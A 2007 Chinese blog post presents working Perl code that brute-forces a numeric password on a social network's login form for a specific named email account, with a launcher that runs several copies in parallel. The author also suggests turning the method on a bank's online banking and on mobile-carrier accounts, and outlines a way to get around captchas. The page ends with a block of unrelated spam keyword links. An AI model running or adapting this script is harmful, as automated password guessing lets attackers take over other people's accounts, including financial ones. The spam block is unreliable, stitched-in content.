• <ins id="pjuwb"></ins>
    <blockquote id="pjuwb"><pre id="pjuwb"></pre></blockquote>
    <noscript id="pjuwb"></noscript>
          <sup id="pjuwb"><pre id="pjuwb"></pre></sup>
            <dd id="pjuwb"></dd>
            <abbr id="pjuwb"></abbr>
            posts - 43,  comments - 64,  trackbacks - 0
              Perl是一個異常強大的網絡處理工具,而且它的庫是相當的多與全面。老同學的網站密碼丟了,讓我找找看,我就琢磨琢磨學習了一下Perl。
              如果是普通的表單,只需要用Perl自帶的LWP庫就可以了,但是有些網站會首先檢測你的瀏覽器是否支持Cookies,是否是“真實的”瀏覽器而不是機器人代理,更有甚者首先檢測你的瀏覽器是否支持腳本,如果不支持腳本是根本不讓你瀏覽任何信息的。這個時候LWP就沒有什么用了。
              于是乎我想到了COM,調用Internet Explorer的接口。先用C++實現了一個,速度雖然是快,可是如何獲取Document進行網站的反饋判定卻成了難題,其中牽涉到一個等待同步的問題,總是出錯,一氣之下就廢了它。去CPAN下載了一個叫做Win32::IEAutomation的庫,省得手動初始化COM對象,還要查CSLID等等。guesser腳本很是簡單,如下。
            use?Win32::IEAutomation;

            my?$low?=?@ARGV[0];
            my?$up?=?@ARGV[1];

            if?(?$low?>?$up?){
            ????
            print?"UP?LOW?ERROR!";
            ????
            exit?1;
            };

            my?$ie?=?Win32::IEAutomation->new(?visible?=>?0?);
            $ie->gotoURL('http://xiaonei.com/Login.do');
            my?$user?=?"papyna\@126.com";
            my?$time?=?time;

            while(?$low?<=?$up?){
            ????
            my?$pwdstr?=?"";
            ????
            $pwdstr?=??sprintf?"\%.6u",$low;
            ????
            $ie->getTextBox('id:',"email")->SetValue($user);
            ????
            $ie->getTextBox('id:',"password")->SetValue($pwdstr);
            ????
            $ie->getButton('id:',"login")->Click;
            ????
            $ie->WaitforDone;
            ????
            if(?$ie->VerifyText('密碼錯誤')?){
            ????}
            else{
            ????????
            $time?=?time?-?$time;
            ????????
            print?"Password?Is?:?",$pwdstr,"\n";
            ????????
            print?$time,"?Seconds?Passed";
            ????????
            exit?0;
            ????};
            ????
            $low++;
            }
            print?"Not?In?this?range?From?",$low,"?To?",$up,"\n";
            exit?0;

              原理很簡單,輸入一個數字范圍,然后一直調用網站的登陸腳本,直到正確的登陸。其實這也牽涉到一個字典的問題,這個就是窮舉破解的最大麻煩。不過思想是可以值得借鑒的。速度瓶頸在網絡上,機器代碼執行得飛快,等待頁面反饋太慢。為了,加速,我想到了多線程。通過這個腳本,同時執行多個上述腳本的實例。代碼也很簡單。
            use?Win32::Process;
            use?Win32;

            sub?ErrorReport{
            ????
            print?Win32::FormatMessage(?Win32::GetLastError()?);
            }

            Win32
            ::Process::Create($ProcessObj1,
            ????????????????????????????????
            "C:\\Perl\\bin\\perl.exe",
            ????????????????????????????????
            "perl guesser.pl?870100?870133",
            ????????????????????????????????
            0,
            ????????????????????????????????NORMAL_PRIORITY_CLASS
            ,
            ????????????????????????????????
            ".")||?die?ErrorReport();

            Win32
            ::Process::Create($ProcessObj2,
            ????????????????????????????????
            "C:\\Perl\\bin\\perl.exe",
            ????????????????????????????????
            "perl guesser.pl?861095?861231",
            ????????????????????????????????
            0,
            ????????????????????????????????NORMAL_PRIORITY_CLASS
            ,
            ????????????????????????????????
            ".")||?die?ErrorReport();

            $ProcessObj1->Wait(INFINITE);
            $ProcessObj2->Wait(INFINITE);

              然后就是漫長的等待了,甚至可以聽到瀏覽器的聲音,速度緩慢的真是痛苦。不過,破解招商銀行網上銀行大眾版 —— HTTPS連接與加密插件,IE都是內置,只要先安裝好,就可以傳入URL進行窮舉了。不過有個問題就是,驗證碼。對于這個我還沒有實現,不過思路很簡單,手動寫一個讀寫圖像文件,判斷數字的函數,圖片可以從IE緩存獲得。破解移動聯通手機號碼密碼也可以順著這個思路來。

              末了提醒大家,就用Google的原則,“不要做惡”。
            posted on 2007-02-16 21:55 周波 閱讀(2048) 評論(1)  編輯 收藏 引用 所屬分類: 無庸技術奇思妙想

            FeedBack:
            # re: Perl窮舉破解表單密碼的實現
            2007-02-17 19:37 | AIBPXTSHMF
            波波學東西就是快啊!厚積薄發啊  回復  更多評論
              
            <2007年2月>
            28293031123
            45678910
            11121314151617
            18192021222324
            25262728123
            45678910

            周波 87年出生 南京林業大學05421班242信箱 專業木材科學與工程工業裝備與過程自動化 遷移到 jedimaster(dot)cnblogs(dot)com

            常用鏈接

            留言簿(4)

            隨筆分類

            隨筆檔案

            新聞檔案

            同學們Blog

            搜索

            •  

            積分與排名

            • 積分 - 54138
            • 排名 - 421

            最新評論

            閱讀排行榜

            亚洲国产成人久久精品影视| 狠狠色丁香久久综合五月| 好属妞这里只有精品久久| AV狠狠色丁香婷婷综合久久| 伊人色综合久久天天| 人妻少妇精品久久| 久久精品亚洲日本波多野结衣| 99久久99久久| 香蕉久久久久久狠狠色| 天堂久久天堂AV色综合| 久久久久久久国产免费看| 狠狠色丁香婷婷久久综合五月| 日本强好片久久久久久AAA| 国产精品无码久久四虎| 日产精品久久久一区二区| 9191精品国产免费久久 | 国产精品无码久久久久久| 久久久精品日本一区二区三区| 亚洲AV无码1区2区久久| 久久精品成人影院| 97久久精品人人做人人爽| 久久国产色AV免费观看| 久久99这里只有精品国产| 久久午夜福利电影| 久久中文字幕一区二区| 久久精品麻豆日日躁夜夜躁| 色妞色综合久久夜夜| 欧洲国产伦久久久久久久| segui久久国产精品| 久久99免费视频| 日本三级久久网| 国产成人综合久久精品尤物| 国产精品久久久久久福利69堂| 亚洲国产欧洲综合997久久| 人妻无码αv中文字幕久久琪琪布 人妻无码久久一区二区三区免费 人妻无码中文久久久久专区 | 久久久久国产精品人妻| 国内精品久久久久久久久| 久久er国产精品免费观看2| 国产精品久久国产精麻豆99网站 | 久久综合九色综合久99| 久久久久久毛片免费看|